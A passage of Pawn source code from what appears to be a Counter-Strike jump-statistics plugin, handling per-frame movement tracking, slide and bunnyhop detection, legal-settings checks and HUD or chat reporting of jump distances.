remove_task(id+434490, 0);
if( task_exists(id, 0) )
remove_task(id, 0);
if( task_exists(id+89012, 0) )
remove_task(id+89012, 0);
if( task_exists(id+3313, 0) )
remove_task(id+3313, 0);
if( task_exists(id+3214, 0) )
remove_task(id+3214, 0);
if( task_exists(id+15237, 0) )
remove_task(id+15237, 0);
if( task_exists(id+212398, 0) )
remove_task(id+212398, 0);
}
else if(equali(tmpTeam,"TERRORIST") || equali(tmpTeam,"CT"))
{
if(dead_flag==2 && g_alive[id])
{
g_alive[id]=false;
if( task_exists(id, 0) )
remove_task(id, 0);
if( task_exists(id+434490, 0) )
remove_task(id+434490, 0);
if( task_exists(id, 0) )
remove_task(id, 0);
if( task_exists(id+89012, 0) )
remove_task(id+89012, 0);
if( task_exists(id+3313, 0) )
remove_task(id+3313, 0);
if( task_exists(id+3214, 0) )
remove_task(id+3214, 0);
if( task_exists(id+15237, 0) )
remove_task(id+15237, 0);
if( task_exists(id+212398, 0) )
remove_task(id+212398, 0);
}
else if(dead_flag==0 && g_alive[id]==false)
{
g_alive[id]=true;
}
}
if(uq_team==0)
{
team[id]=0;
}
else if(equali(tmpTeam,"TERRORIST"))
{
team[id]=1;
}
else if(equali(tmpTeam,"CT"))
{
team[id]=2;
}
else
{
team[id]=uq_team;
}
if( g_alive[id] && team[id]==uq_team)
{
static bool:failed_ducking[33];
static bool:first_frame[33];
static Float:duckoff_time[33];
static Float:duckoff_origin[33][3], Float:pre_jumpoff_origin[33][3];
static Float:jumpoff_foot_height[33];
static Float:prest[33],Float:prest1[33],Float:jumpoff_origin[33][3],Float:failed_velocity[33][3],Float:failed_origin[33][3];
static Float:frame_origin[33][2][3], Float:frame_velocity[33][2][3], Float:jumpoff_time[33], Float:last_land_time[33];
new entlist1[1];
weapSpeedOld[id] = weapSpeed[id];
if( g_reset[id] ==true)
{
angles_arry[id]=0;
dd_sync[id]=0;
g_reset[id] = false;
g_Jumped[id] = false;
cjjump[id] =false;
in_air[id] = false;
in_duck[id] = false;
in_bhop[id] = false;
ducks[id]=0;
first_duck_z[id]=0.0;
backwards[id]=false;
dropaem[id]=false;
failed_jump[id] = false;
prest[id]=0.0;
bug_true[id]=false;
detecthj[id]=0;
edgedone[id]=false;
jumpblock[id]=1000;
schetchik[id]=0;
CjafterJump[id]=0;
upBhop[id]=false;
old_type_dropbj[id]=Type_Null;
first_surf[id]=false;
surf[id]=0.0;
ddbeforwj[id]=false;
duckstring[id]=false;
notjump[id]=false;
frames_gained_speed[id] = 0;
frames[id] = 0;
strafe_num[id] = 0;
ladderjump[id]=false;
started_multicj_pre[id] = false;
started_cj_pre[id] = false;
jumpoffirst[id]=false;
jump_type[id] = Type_None;
gBeam_count[id] = 0;
edgedist[id]=0.0;
oldjump_height[id]=0.0;
jheight[id]=0.0;
duckbhop_bug_pre[id]=false;
FullJumpFrames[id]=0;
direct_for_strafe[id]=0;
ddstandcj[id]=false;
for( new i = 0; i < 100; i++ )
{
gBeam_points[id][i][0] = 0.0;
gBeam_points[id][i][1] = 0.0;
gBeam_points[id][i][2] = 0.0;
gBeam_duck[id][i] = false;
gBeam_button[id][i]=false;
}
Checkframes[id]=false;
for(new i=0;i<NSTRAFES;i++)
{
type_button_what[id][i]=0;
if(uq_istrafe)
lost_frame_count[id][i]=0;
}
if(uq_istrafe)
{
for(new i=0;i<=line_erase_strnum[id];i++)
{
for( new j = 0; j <= line_erase[id][i]; j++ )
{
if(i<NSTRAFES && j<NVAR)
line_lost[id][i][j]=0;
}
}
}
}
static button, oldbuttons, flags;
pev(id, pev_maxspeed, weapSpeed[id]);
pev(id, pev_origin, origin);
button = pev(id, pev_button );
flags = pev(id, pev_flags );
oldbuttons = pev( id, pev_oldbuttons );
static Float:fGravity,Pmaxspeed;
pev(id, pev_gravity, fGravity);
Pmaxspeed=pev( id, pev_maxspeed );
new Float:velocity[3];
pev(id, pev_velocity, velocity);
movetype[id] = pev(id, pev_movetype);
if( flags&FL_ONGROUND && flags&FL_INWATER )
velocity[2] = 0.0;
if( velocity[2] != 0 )
velocity[2]-=velocity[2];
speed[id] = vector_length(velocity);
new is_spec_user[33];
for( new i = INFO_ONE; i < max_players; i++ )
{
is_spec_user[i]=is_user_spectating_player(i, id);
}
if(strafe_num[id]>NSTRAFES1)
{
g_reset[id]=true;
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
set_hudmessage( 255, 255, 255, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage(i,"%L",LANG_SERVER,"UQSTATS_STR1",NSTRAFES1,strafe_num[id]);
}
}
return FMRES_IGNORED;
}
if((button&IN_RIGHT || button&IN_LEFT) && !(flags&FL_ONGROUND))
{
for(new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
client_print(i,print_center,"%L",LANG_SERVER,"UQSTATS_STR2");
JumpReset(id,28);
return FMRES_IGNORED;
}
}
}
new airace,aircj;
if(uq_airaccel<=10 && uq_airaccel!=1)
{
if(uq_airaccel==0)
airace=10;
else
airace=uq_airaccel;
aircj=0;
formatex(airacel[id],32,"");
}
else
{
if(uq_airaccel==1)
{
airace=100;
formatex(airacel[id],32,"(100aa)");
}
else
{
airace=uq_airaccel;
formatex(airacel[id],32,"(%daa)",uq_airaccel);
}
aircj=10;
}
new spd;
if(equali(mapname,"slide_gs_longjumps") || equali(mapname,"b2j_slide_longjumps"))
{
spd=1400;
}
else spd=450;
if(speed[id]> spd || weapSpeedOld[id] != weapSpeed[id])
{
if(weapSpeedOld[id] != weapSpeed[id])
{
changetime[id]=get_gametime();
}
JumpReset(id,29);
return FMRES_IGNORED;
}
if(leg_settings==1 && (get_pcvar_num(edgefriction) != 2 || fGravity != 1.0 || get_pcvar_num(mp_footsteps) != 1
|| get_pcvar_num(sv_cheats) != 0
|| get_pcvar_num(sv_gravity) != 800
|| get_pcvar_num(sv_airaccelerate) != airace
|| get_pcvar_num(sv_maxspeed) != 320
|| get_pcvar_num(sv_stepsize) != 18
|| get_pcvar_num(sv_maxvelocity) != 2000
|| pev(id, pev_waterlevel) >= 2 ))
{
JumpReset(id,99);
return FMRES_IGNORED;
}
if(!(button&IN_MOVELEFT)
&& oldbuttons&IN_MOVELEFT)
{
preessbutton[id]=false;
button_what[id]=0;
}
else if(oldbuttons&IN_MOVERIGHT
&& !(button&IN_MOVERIGHT))
{
button_what[id]=0;
preessbutton[id]=false;
}
else if(oldbuttons&IN_BACK
&& !(button&IN_BACK))
{
preessbutton[id]=false;
button_what[id]=0;
}
else if(oldbuttons&IN_FORWARD
&& !(button&IN_FORWARD))
{
preessbutton[id]=false;
button_what[id]=0;
}
if( !(flags&FL_ONGROUND) )
{
last_land_time[id] = get_gametime();
jof[id]=0.0;
}
if(bhopaem[id]==true && !(flags&FL_ONGROUND) && movetype[id] != MOVETYPE_FLY)
{
bhopaemtime[id]=get_gametime();
}
else if(bhopaem[id]==true && flags&FL_ONGROUND && get_gametime()-bhopaemtime[id]>0.1 && movetype[id] != MOVETYPE_FLY)
{
bhopaem[id]=false;
}
if(nextbhop[id]==true && flags&FL_ONGROUND && first_ground_bhopaem[id]==false)
{
first_ground_bhopaem[id]=true;
ground_bhopaem_time[id]=get_gametime();
}
else if(nextbhop[id]==true && !(flags&FL_ONGROUND) && first_ground_bhopaem[id]==true && movetype[id] != MOVETYPE_FLY)
{
first_ground_bhopaem[id]=false;
}
if(nextbhop[id]==true && flags&FL_ONGROUND && first_ground_bhopaem[id]==true && (get_gametime()-ground_bhopaem_time[id]>0.1) && movetype[id] != MOVETYPE_FLY)
{
first_ground_bhopaem[id]=false;
bhopaem[id]=false;
nextbhop[id]=false;
}
if(nextbhop[id]==true && !(flags&FL_ONGROUND) && movetype[id] != MOVETYPE_FLY)
{
nextbhoptime[id]=get_gametime();
}
if(nextbhop[id]==true && flags&FL_ONGROUND && get_gametime()-nextbhoptime[id]>0.1 && movetype[id] != MOVETYPE_FLY)
{
nextbhop[id]=false;
}
if(flags & FL_ONGROUND && h_jumped[id]==false && movetype[id] != MOVETYPE_FLY)
{
heightoff_origin[id]=0.0;
}
if(!g_Jumped[id] && flags & FL_ONGROUND && button&IN_BACK && backwards[id]==false)
{
backwards[id]=true;
}
else if(!g_Jumped[id] && flags & FL_ONGROUND && button&IN_FORWARD && backwards[id])
{
backwards[id]=false;
}
if(flags & FL_ONGROUND && button&IN_JUMP && !(oldbuttons&IN_JUMP) && movetype[id] != MOVETYPE_FLY)
{
if(is_user_ducking(id))
{
heightoff_origin[id]=origin[2]+18;
}
else heightoff_origin[id]=origin[2];
h_jumped[id]=true;
}
else if(flags & FL_ONGROUND && h_jumped[id] && movetype[id] != MOVETYPE_FLY)
{
new Float:heightland_origin;
if(is_user_ducking(id))
{
heightland_origin=origin[2]+18;
}
else heightland_origin=origin[2];
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(height_show[i]==true )
{
if(heightland_origin-heightoff_origin[id]==0.0)
{
set_hudmessage(prest_r,prest_g, prest_b, stats_x, stats_y, 0, 0.0, 0.7, 0.1, 0.1, h_stats);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_FJHEIGH1");
}
else if(heightland_origin-heightoff_origin[id]>0.0)
{
set_hudmessage(prest_r,prest_g, prest_b, stats_x, stats_y, 0, 0.0, 0.7, 0.1, 0.1, h_stats);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_FJHEIGH2",heightland_origin-heightoff_origin[id]);
}
else if(heightland_origin-heightoff_origin[id]<0.0)
{
set_hudmessage(prest_r,prest_g, prest_b, stats_x, stats_y, 0, 0.0, 0.7, 0.1, 0.1, h_stats);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_FJHEIGH3",floatabs(heightland_origin-heightoff_origin[id]));
}
}
}
}
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(height_show[i]==true )
{
if(heightland_origin-heightoff_origin[id]==0.0)
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_FJHEIGH1");
}
else if(heightland_origin-heightoff_origin[id]>0.0)
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_FJHEIGH2",heightland_origin-heightoff_origin[id]);
}
else if(heightland_origin-heightoff_origin[id]<0.0)
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_FJHEIGH3",floatabs(heightland_origin-heightoff_origin[id]));
}
}
}
}
h_jumped[id]=false;
}
if((movetype[id] != MOVETYPE_FLY))
{
if(firstfr[id]==false)
{
firstfr[id]=true;
pev(id, pev_velocity, velocity);
pev(id, pev_origin, origin);
if((g_Jumped[id]==true || !(flags&FL_ONGROUND)))
{
firstvel[id]=velocity[2];
}
firstorig[id]=origin;
}
else if(firstfr[id]==true )
{
pev(id, pev_origin, origin);
pev(id, pev_velocity, velocity);
secorig[id]=origin;
if((g_Jumped[id]==true || !(flags&FL_ONGROUND)))
{
secvel[id]=velocity[2];
}
firstfr[id]=false;
}
if(!(flags&FL_ONGROUND) && first_air[id]==false)
{
framecount[id]++;
if(framecount[id]==2)
{
first_air[id]=true;
}
SurfFrames[id]=floatabs(firstvel[id]-secvel[id]);
if(floatabs(firstvel[id]-secvel[id])>41)
{
SurfFrames[id]=oldSurfFrames[id];
}
oldSurfFrames[id]=SurfFrames[id];
}
if(flags&FL_ONGROUND && first_air[id]==true)
{
first_air[id]=false;
framecount[id]=0;
}
if(!(flags&FL_ONGROUND) && SurfFrames[id]<7.9 && uq_fps==1 && fps_hight[id]==false)
{
fps_hight[id]=true;
}
if((flags&FL_ONGROUND) && SurfFrames[id]>7.9 && fps_hight[id])
{
fps_hight[id]=false;
}
if(!(flags&FL_ONGROUND) && 1.7*floatabs(firstvel[id]-secvel[id])<SurfFrames[id] && floatabs(firstvel[id]-secvel[id])!=4.0)
{
if(equali(mapname,"slide_gs_longjumps") || equali(mapname,"b2j_slide_longjumps"))
{
slide[id]=true;
}
else if(!ladderjump[id] && movetype[id] != MOVETYPE_FLY)
{
find_sphere_class (id, "func_ladder",200.0, entlist1, 1);
if(!entlist1[0])
{
JumpReset(id,30);
slide_protec[id]=true;
return FMRES_IGNORED;
}
}
}
else
{
if(slide[id]==true && ((oldbuttons&IN_MOVELEFT && button&IN_MOVERIGHT) || (oldbuttons&IN_MOVERIGHT && button&IN_MOVELEFT)))
{
if(touch_ent[id])
{
JumpReset(id,102);
}
if(task_exists(id)) remove_task(id);
set_task(1.5,"JumpReset1", id);
pev(id, pev_origin, origin);
slidim[id]=true;
jump_type[id]=Type_Slide;
g_Jumped[id] = true;
prestrafe[id] = speed[id];
if(showpre[id]==true)
{
set_hudmessage(255,255, 255, -1.0, 0.85, 0, 0.0, 0.7, 0.1, 0.1, 2);
show_hudmessage(id, "Slide pre: %.03f",speed);
}
slide[id]=false;
}
}
firstorig[id][2]=0.0;
secorig[id][2]=0.0;
if((slidim[id]==true || slide[id]==true) && get_distance_f(firstorig[id],secorig[id])>20.0)
{
groundslide[id]=0.0;
waits[id]=0;
slidim[id]=false;
taskslide[id]=0;
failslide[id]=false;
slide[id]=false;
g_Jumped[id] = false;
return FMRES_IGNORED;
}
if((g_Jumped[id]==true || h_jumped[id]) && get_distance_f(firstorig[id],secorig[id])>6.0)
{
h_jumped[id]=false;
JumpReset(id,31);
return FMRES_IGNORED;
}
}
if(slidim[id]==true)
{
//if(Pmaxspeed != 250.0)
//{
// client_print(id,print_center,"Slide works only withs weapons 250.0 speed");
// return FMRES_IGNORED;
//}
pev(id, pev_origin, origin);
new Float:start[33][3],Float:end[33][3];
start[id][0]=origin[0];
start[id][1]=origin[1]+16.0;
start[id][2]=origin[2];
end[id][0]=origin[0];
end[id][1]=origin[1]+16.0;
end[id][2]=origin[2]-500.0;
engfunc(EngFunc_TraceLine, start[id], end[id], IGNORE_GLASS, id, 0);
get_tr2( 0, TR_vecEndPos, slidez[id][0]);
start[id][0]=origin[0];
start[id][1]=origin[1]-16.0;
start[id][2]=origin[2];
end[id][0]=origin[0];
end[id][1]=origin[1]-16.0;
end[id][2]=origin[2]-500.0;
engfunc(EngFunc_TraceLine, start[id], end[id], IGNORE_GLASS, id, 0);
get_tr2( 0, TR_vecEndPos, slidez[id][1]);
start[id][0]=origin[0]+16.0;
start[id][1]=origin[1];
start[id][2]=origin[2];
end[id][0]=origin[0]+16.0;
end[id][1]=origin[1];
end[id][2]=origin[2]-500.0;
engfunc(EngFunc_TraceLine, start[id], end[id], IGNORE_GLASS, id, 0);
get_tr2( 0, TR_vecEndPos, slidez[id][2]);
start[id][0]=origin[0]-16.0;
start[id][1]=origin[1];
start[id][2]=origin[2];
end[id][0]=origin[0]-16.0;
end[id][1]=origin[1];
end[id][2]=origin[2]-500.0;
engfunc(EngFunc_TraceLine, start[id], end[id], IGNORE_GLASS, id, 0);
get_tr2( 0, TR_vecEndPos, slidez[id][3]);
for(new i=0;i<4;i++)
{
if(i!=3)
{
if(slidez[id][i][2]>slidez[id][i+1][2])
{
needslide[id]=slidez[id][i][2];
groundslide[id]=slidez[id][i+1][2];
if(needslide[id]-groundslide[id]>149.0 && landslide[id]==false)
{
landslide[id]=true;
pev(id, pev_origin, origin);
if( !(is_user_ducking(id)) )
{
origin[2]-=36.0;
}
else origin[2]-=18.0;
slideland[id]=origin[2];
slidedist[id]=slideland[id]-groundslide[id];
maxspeed[id]=speed[id];
}
}
}
}
if(taskslide[id]==0)
{
set_task(0.4,"wait", id+3313);
taskslide[id]=1;
}
pev(id, pev_velocity, velocity);
if(velocity[1]==0.0 && failslide[id]==false && !(flags&FL_ONGROUND) && waits[id]==1 )
{
if( !(is_user_ducking(id)) )
{
origin[2]-=36.0;
}
else origin[2]-=18.0;
failslidez[id]=origin[2];
failslide[id]=true;
}
}
if(flags&FL_ONGROUND && slidim[id]==true && Pmaxspeed == 250.0)
{
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]) && g_lj_stats[i]==true)
{
if(needslide[id]-groundslide[id]==slidedist[id])
{
client_print(i, print_console, "Slide Distance: %d.xxx",floatround(slidedist[id], floatround_floor));
set_hudmessage( stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "Slide Distance: %d.xxx",floatround(slidedist[id], floatround_floor));
}
else
{
client_print(i, print_console, "Slide Distance: %f",slidedist[id]);
set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "Slide Distance: %f",slidedist[id]);
}
}
}
new iPlayers[32],iNum;
get_players ( iPlayers, iNum,"ch") ;
for(new i=0;i<iNum;i++)
{
new ids=iPlayers[i];
if(gHasColorChat[ids] ==true || ids==id)
{
if(needslide[id]-groundslide[id]==slidedist[id])
{
ColorChat(ids, GREY, "[%s] %s jumped %d.xxx units with Slide lj!^x01%s",prefix, g_playername[id], floatround(slidedist[id], floatround_floor),airacel[id]);
}
else
ColorChat(ids, GREY, "[%s] %s jumped %.3f units with Slide lj!^x01%s",prefix, g_playername[id], slidedist[id],airacel[id]);
}
}
slidim[id]=false;
groundslide[id]=0.0;
waits[id]=0;
slidim[id]=false;
taskslide[id]=0;
taskslide1[id]=0;
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte ( TE_BEAMPOINTS );
write_coord(floatround(origin[0]));
write_coord(floatround(origin[1]));
write_coord(floatround(slideland[id]));
write_coord(floatround(origin[0]));
write_coord(floatround(origin[1]+52.0));
write_coord(floatround(slideland[id]));
write_short(gBeam);
write_byte(1);
write_byte(5);
write_byte(1130);
write_byte(20);
write_byte(0);
write_byte(255);
write_byte(0);
write_byte(0);
write_byte(200);
write_byte(200);
message_end();
landslide[id]=false;
}
if((failslide[id]==true) && slidim[id]==true)
{
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]) && g_lj_stats[i]==true)
{
client_print(i, print_console, "Slide Distance: %f Prestrafe: %f",failslidez[id]-groundslide[id],prestrafe[id]);
set_hudmessage( f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "Slide Distance: %f^nPrestrafe: %f",failslidez[id]-groundslide[id],prestrafe[id]);
}
}
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte ( TE_BEAMPOINTS );
write_coord(floatround(origin[0]));
write_coord(floatround(origin[1]));
write_coord(floatround(failslidez[id]));
write_coord(floatround(origin[0]));
write_coord(floatround(origin[1]+52.0));
write_coord(floatround(failslidez[id]));
write_short(gBeam);
write_byte(1);
write_byte(5);
write_byte(1130);
write_byte(20);
write_byte(0);
write_byte(255);
write_byte(0);
write_byte(0);
write_byte(200);
write_byte(200);
message_end();
failslide[id]=false;
slidim[id]=false;
groundslide[id]=0.0;
waits[id]=0;
taskslide[id]=0;
taskslide1[id]=0;
}
if( (in_air[id]==true || in_bhop[id] == true) && !(flags&FL_ONGROUND) )
{
static i;
for( i = INFO_ZERO; i < 2; i++ )
{
if( (i == 1)
|| (frame_origin[id][i][0] == 0
&& frame_origin[id][i][1] == 0
&& frame_origin[id][i][2] == 0
&& frame_velocity[id][i][0] == 0
&& frame_velocity[id][i][1] == 0
&& frame_velocity[id][i][2] == 0 ))
{
frame_origin[id][i][0] = origin[0];
frame_origin[id][i][1] = origin[1];
frame_origin[id][i][2] = origin[2];
pev(id, pev_velocity, velocity);
frame_velocity[id][i][0] = velocity[0];
frame_velocity[id][i][1] = velocity[1];
frame_velocity[id][i][2] = velocity[2];
i=2;
}
}
}
if( (in_air[id]) && !( flags & FL_ONGROUND ) && !failed_jump[id])
{
if(uq_script_detection)
{
new Float:angles[3];
pev(id,pev_angles,angles);
if(floatabs(angles[0]-old_angles[id][0])==0.0)
{
angles_arry[id]++;
}
//if()
//{
// angles_arry1[id]++;
//}
//client_print(id,print_chat,"%f",floatabs(vector_length(angles)-vector_length(old_angles[id])));
old_angles[id]=angles;
}
new Float:jh_origin;
jh_origin=origin[2];
if(floatabs(jumpoff_origin[id][2]-jh_origin)<oldjump_height[id] && jheight[id]==0.0)
{
if(is_user_ducking(id))
{
jheight[id]=oldjump_height[id]+18.0;
}
else jheight[id]=oldjump_height[id];
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(jheight_show[i]==true )
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE39",jheight[id]);
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_PRE39",jheight[id]);
}
}
}
if(!direct_for_strafe[id])
{
if(velocity[1]>0 && floatabs(velocity[1])>floatabs(velocity[0]))
{
direct_for_strafe[id]=1;
}
else if(velocity[1]<0 && floatabs(velocity[1])>floatabs(velocity[0]))
{
direct_for_strafe[id]=2;
}
else if(velocity[0]>0 && floatabs(velocity[0])>floatabs(velocity[1]))
{
direct_for_strafe[id]=3;
}
else if(velocity[0]<0 && floatabs(velocity[0])>floatabs(velocity[1]))
{
direct_for_strafe[id]=4;
}
}
}
oldjump_height[id]=floatabs(jumpoff_origin[id][2]-origin[2]);
if(bug_check[id]==0 && floatfract(velocity[2])==0)
{
bug_check[id]=1;
}
else if(bug_check[id]==1 && floatfract(velocity[2])==0)
{
bug_true[id]=true;
bug_check[id]=0;
}
if( !in_bhop[id] )
{
fnSaveBeamPos( id );
}
static Float:old_speed[33];
if( speed[id] > old_speed[id] )
{
frames_gained_speed[id]++;
}
frames[id]++;
old_speed[id] = speed[id];
if( speed[id] > maxspeed[id] )
{
if (strafe_num[id] < NSTRAFES)
{
strafe_stat_speed[id][strafe_num[id]][0] += speed[id] - maxspeed[id];
}
maxspeed[id] = speed[id];
}
if ((speed[id] < TempSpeed[id]) && (strafe_num[id] < NSTRAFES))
{
strafe_stat_speed[id][strafe_num[id]][1] += TempSpeed[id] - speed[id];
if(strafe_stat_speed[id][strafe_num[id]][1]>5)
{
if(floatabs(firstvel[id]-secvel[id])<SurfFrames[id]-0.1)
{
Checkframes[id]=true;
}
else if(floatabs(firstvel[id]-secvel[id])>SurfFrames[id])
{
Checkframes[id]=true;
}
}
}
TempSpeed[id] = speed[id];
if((origin[2] + 18.0 - jumpoff_origin[id][2] < 0))
{
failed_jump[id] = true;
}
else if( (is_user_ducking(id) ? (origin[2]+18) : origin[2]) >= jumpoff_origin[id][2] )
{
failed_origin[id] = origin;
failed_ducking[id] = is_user_ducking( id );
failed_velocity[id] = velocity;
origin[2] = pre_jumpoff_origin[id][2];
}
if( first_frame[id] )
{
first_frame[id] = false;
frame_velocity[id][0] = velocity;
gBeam_count[id] = 0;
for( new i = 0; i < 100; i++ )
{
gBeam_points[id][i][0] = 0.0;
gBeam_points[id][i][1] = 0.0;
gBeam_points[id][i][2] = 0.0;
gBeam_duck[id][i] = false;
gBeam_button[id][i]=false;
}
if(in_bhop[id] && jump_type[id]!=Type_DuckBhop)
{
if(upBhop[id])
{
if(jump_type[id]==Type_Up_Bhop_In_Duck)
{
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_UBID");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_UBID");
}
else if(velocity[2] < upbhop_koeff[id])
{
jump_type[id]=Type_Up_Bhop;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_UBJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_UBJ");
}
else
{
jump_type[id]=Type_Up_Stand_Bhop;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_USBJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_USBJ");
}
upBhop[id]=false;
}
else if(jump_type[id]==Type_Bhop_In_Duck)
{
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_BID");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_BID");
}
else if( velocity[2] < 229.0)
{
jump_type[id] = Type_BhopLongJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_BJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_BJ");
}
else
{
jump_type[id] = Type_StandupBhopLongJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_SBJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_SBJ");
jumpoff_origin[id][2] = pre_jumpoff_origin[id][2];
}
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(showpre[i]==true && prestrafe[id]>min_prestrafe[id])
{
if((Pmaxspeed * 1.2)>prestrafe[id] )
{
if(jump_type[id]==Type_Up_Bhop_In_Duck && (uq_upbhopinduck==1 ))
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE33",prestrafe[id]);
}
else if(jump_type[id]==Type_Up_Bhop && (uq_upbj==1 ))
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE34",prestrafe[id]);
}
else if(jump_type[id]==Type_Up_Stand_Bhop && (uq_upsbj==1 ))
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE35",prestrafe[id]);
}
else if(jump_type[id]==Type_Bhop_In_Duck && uq_bhopinduck==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE36",prestrafe[id]);
}
else if(jump_type[id]==Type_BhopLongJump && uq_bj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE37",prestrafe[id]);
}
else if(jump_type[id]==Type_StandupBhopLongJump && uq_sbj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE38",prestrafe[id]);
}
}
else
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.5, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PREHIGH",prestrafe[id],Pmaxspeed * 1.2);
}
}
}
}
}
else if(jump_type[id]==Type_DuckBhop)
{
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(showpre[i]==true && speed[id]>50.0)
{
if((Pmaxspeed * 1.2)>speed[id] )
{
if(prestrafe[id]<200)
{
if(jump_type[id]==Type_DuckBhop && (uq_duckbhop==1))
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE32",prestrafe[id]);
}
}
}
}
}
}
}
}
else
{
frame_velocity[id][1] = velocity;
}
if( in_bhop[id] )
fnSaveBeamPos( id );
if(detecthj[id]!=1)
{
starthj[id][0] = origin[0];
starthj[id][1] = origin[1];
starthj[id][2] = jumpoff_origin[id][2]+28.0;
stophj[id][0] = origin[0];
stophj[id][1] = origin[1];
stophj[id][2] = starthj[id][2] - 133.0;
engfunc( EngFunc_TraceLine, starthj[id], stophj[id], IGNORE_MONSTERS, id, 0 );
get_tr2( 0, TR_vecEndPos, endhj[id]);
if(starthj[id][2]-endhj[id][2]<133.0 && (starthj[id][2]-endhj[id][2]-64)!=0 && (starthj[id][2]-endhj[id][2]-64)>0 && detecthj[id]!=1)
{
detecthj[id]=2;
}
if(starthj[id][2]-endhj[id][2]>=133.0 && detecthj[id]!=2)
{
detecthj[id]=1;
}
}
if(ddafterJump[id])
ddafterJump[id]=false;
}
if(notjump[id] && bhopaem[id])
{
notjump[id]=false;
}
if( flags&FL_ONGROUND )
{
surf[id]=0.0;
if (!pev( id, pev_solid ))
{
static ClassName[32];
pev(pev(id, pev_groundentity), pev_classname, ClassName, 32);
if( equali(ClassName, "func_train")
|| equali(ClassName, "func_conveyor")
|| equali(ClassName, "trigger_push") || equali(ClassName, "trigger_gravity"))
{
JumpReset(id,32);
set_task(0.4,"JumpReset1", id);
}
else if(equali(ClassName, "func_door") || equali(ClassName, "func_door_rotating") )
{
JumpReset(id,33);
set_task(0.4,"JumpReset1", id);
}
}
pev(id, pev_origin, origin);
notjump[id]=true;
if(is_user_ducking(id))
{
falloriginz[id]=origin[2]+18;
}
else falloriginz[id]=origin[2];
if( OnGround[id] == false)
{
if (dropbhop[id] || in_ladder[id] || jump_type[id] == Type_WeirdLongJump || jump_type[id]==Type_ladderBhop || jump_type[id]==Type_Drop_BhopLongJump)
{
FallTime[id]=get_gametime();
}
OnGround[id] = true;
}
}
if( !(flags&FL_ONGROUND) && notjump[id]==true && (movetype[id] != MOVETYPE_FLY) && jump_type[id]!=Type_ladderBhop )//&& jump_type[id] != Type_Drop_CountJump)
{
